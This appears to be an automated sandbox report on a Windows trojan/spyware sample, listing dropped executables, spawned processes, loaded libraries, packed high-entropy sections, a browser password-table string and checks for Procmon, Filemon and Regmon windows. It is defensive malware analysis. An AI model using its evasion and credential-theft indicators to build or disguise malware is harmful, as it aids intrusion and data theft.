Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0112CB74	3_3_0112CB74
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0113A8C5	3_3_0113A8C5
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0113A8C5	3_3_0113A8C5
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0113A8C5	3_3_0113A8C5
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0113A8C5	3_3_0113A8C5
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0113A8C5	3_3_0113A8C5
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0113A8C5	3_3_0113A8C5
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0113A8C5	3_3_0113A8C5
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0113A8C5	3_3_0113A8C5
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0113A8C5	3_3_0113A8C5
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0113A8C5	3_3_0113A8C5
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0113A8C5	3_3_0113A8C5
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0113A8C5	3_3_0113A8C5
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0112CB74	3_3_0112CB74
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0112CB74	3_3_0112CB74
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0113A8C5	3_3_0113A8C5
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0113A8C5	3_3_0113A8C5
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0113A8C5	3_3_0113A8C5
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0113A8C5	3_3_0113A8C5

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe 42B46B32F29BEC629E50F10AB57342BB3C01E99C263F0760664BD4F9A8D8FB1D
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe AFAAA2E5A5ECA777A53963E3C65C5FD66E37D6C50575746528DE114F93012AF1

Source: jYd7FUgGZc.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: jYd7FUgGZc.exe	Static PE information: Section: ZLIB complexity 0.9974917059075342
Source: jYd7FUgGZc.exe	Static PE information: Section: zbikoyci ZLIB complexity 0.9945440593395648
Source: JI1XME003OC9O5S8X2QF4.exe.3.dr	Static PE information: Section: fphnutar ZLIB complexity 0.994525219378095

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@5/3@1/3

Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe

Code function: 7_2_04FB15D0 ChangeServiceConfigA,

7_2_04FB15D0

Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\JI1XME003OC9O5S8X2QF4.exe.log

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\jYd7FUgGZc.exe

File created: C:\Users\user~1\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe

Jump to behavior

Source: C:\Users\user\Desktop\jYd7FUgGZc.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: jYd7FUgGZc.exe, 00000003.00000003.1348870911.000000000584D000.00000004.00000800.00020000.00000000.sdmp, jYd7FUgGZc.exe, 00000003.00000003.1348611404.0000000005869000.00000004.00000800.00020000.00000000.sdmp, jYd7FUgGZc.exe, 00000003.00000003.1384270967.000000000586D000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: jYd7FUgGZc.exe	ReversingLabs: Detection: 55%
Source: jYd7FUgGZc.exe	Virustotal: Detection: 66%

Source: JI1XME003OC9O5S8X2QF4.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application
Source: JI1XME003OC9O5S8X2QF4.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\jYd7FUgGZc.exe

File read: C:\Users\user\Desktop\jYd7FUgGZc.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\jYd7FUgGZc.exe "C:\Users\user\Desktop\jYd7FUgGZc.exe"
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Process created: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe "C:\Users\user~1\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe"
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Process created: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe "C:\Users\user~1\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe"
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Process created: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe "C:\Users\user~1\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe"	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Process created: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe "C:\Users\user~1\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe"	Jump to behavior

Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: jYd7FUgGZc.exe

Static file information: File size 1836032 > 1048576

Source: jYd7FUgGZc.exe

Static PE information: Raw size of zbikoyci is bigger than: 0x100000 < 0x197e00

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Unpacked PE file: 7.2.JI1XME003OC9O5S8X2QF4.exe.60000.0.unpack :EW;.rsrc:W;.idata :W; :EW;fphnutar:EW;inmacesb:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Unpacked PE file: 8.2.8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe.d20000.0.unpack :EW;.rsrc:W;.idata :W;mtoauukx:EW;piksggks:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;mtoauukx:EW;piksggks:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: JI1XME003OC9O5S8X2QF4.exe.3.dr	Static PE information: real checksum: 0x1c1153 should be: 0x1bf548
Source: 8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe.3.dr	Static PE information: real checksum: 0x2bdddd should be: 0x2c7b21
Source: jYd7FUgGZc.exe	Static PE information: real checksum: 0x1cf418 should be: 0x1cc4e6

Source: jYd7FUgGZc.exe	Static PE information: section name:
Source: jYd7FUgGZc.exe	Static PE information: section name: .idata
Source: jYd7FUgGZc.exe	Static PE information: section name:
Source: jYd7FUgGZc.exe	Static PE information: section name: zbikoyci
Source: jYd7FUgGZc.exe	Static PE information: section name: midxtfmd
Source: jYd7FUgGZc.exe	Static PE information: section name: .taggant
Source: JI1XME003OC9O5S8X2QF4.exe.3.dr	Static PE information: section name:
Source: JI1XME003OC9O5S8X2QF4.exe.3.dr	Static PE information: section name: .idata
Source: JI1XME003OC9O5S8X2QF4.exe.3.dr	Static PE information: section name:
Source: JI1XME003OC9O5S8X2QF4.exe.3.dr	Static PE information: section name: fphnutar
Source: JI1XME003OC9O5S8X2QF4.exe.3.dr	Static PE information: section name: inmacesb
Source: JI1XME003OC9O5S8X2QF4.exe.3.dr	Static PE information: section name: .taggant
Source: 8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe.3.dr	Static PE information: section name:
Source: 8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe.3.dr	Static PE information: section name: .idata
Source: 8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe.3.dr	Static PE information: section name: mtoauukx
Source: 8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe.3.dr	Static PE information: section name: piksggks
Source: 8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe.3.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0583ABF9 push ebx; retf	3_3_0583ABFA
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0583AF7A push esp; retf	3_3_0583AF7B
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0583A2A8 push esi; retf	3_3_0583A2AE
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0113D1AE push eax; ret	3_3_0113D21A
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0113D1AE push eax; ret	3_3_0113D21A
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0113D1AE push eax; ret	3_3_0113D21A
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0113D1AE push eax; ret	3_3_0113D21A
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0113FA24 push ebp; ret	3_3_0113FA2A
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0113FA24 push ebp; ret	3_3_0113FA2A
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0113FA24 push ebp; ret	3_3_0113FA2A
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0113FA24 push ebp; ret	3_3_0113FA2A
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0113E8D2 push 280113CFh; iretd	3_3_0113E8D9
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0113E8D2 push 280113CFh; iretd	3_3_0113E8D9
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0113E8D2 push 280113CFh; iretd	3_3_0113E8D9
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_01137520 push AE323448h; ret	3_3_01137533
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_01137520 push AE323448h; ret	3_3_01137533
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0113D1AE push eax; ret	3_3_0113D21A
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0113D1AE push eax; ret	3_3_0113D21A
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0113D1AE push eax; ret	3_3_0113D21A
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0113D1AE push eax; ret	3_3_0113D21A
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0113E8D2 push 280113CFh; iretd	3_3_0113E8D9
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0113E8D2 push 280113CFh; iretd	3_3_0113E8D9
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0113E8D2 push 280113CFh; iretd	3_3_0113E8D9
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0113976F push edi; ret	3_3_01139770
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0113976F push edi; ret	3_3_01139770
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_01136F80 push esi; retf	3_3_01136F86
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_01136F80 push esi; retf	3_3_01136F86
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0113FA24 push ebp; ret	3_3_0113FA2A
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0113FA24 push ebp; ret	3_3_0113FA2A
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0113FA24 push ebp; ret	3_3_0113FA2A
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Code function: 3_3_0113FA24 push ebp; ret	3_3_0113FA2A

Source: jYd7FUgGZc.exe	Static PE information: section name: entropy: 7.983357786811918
Source: jYd7FUgGZc.exe	Static PE information: section name: zbikoyci entropy: 7.953260117671974
Source: JI1XME003OC9O5S8X2QF4.exe.3.dr	Static PE information: section name: entropy: 7.787740249342965
Source: JI1XME003OC9O5S8X2QF4.exe.3.dr	Static PE information: section name: fphnutar entropy: 7.952955596210327

Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File created: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe			Jump to dropped file
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File created: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe			Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
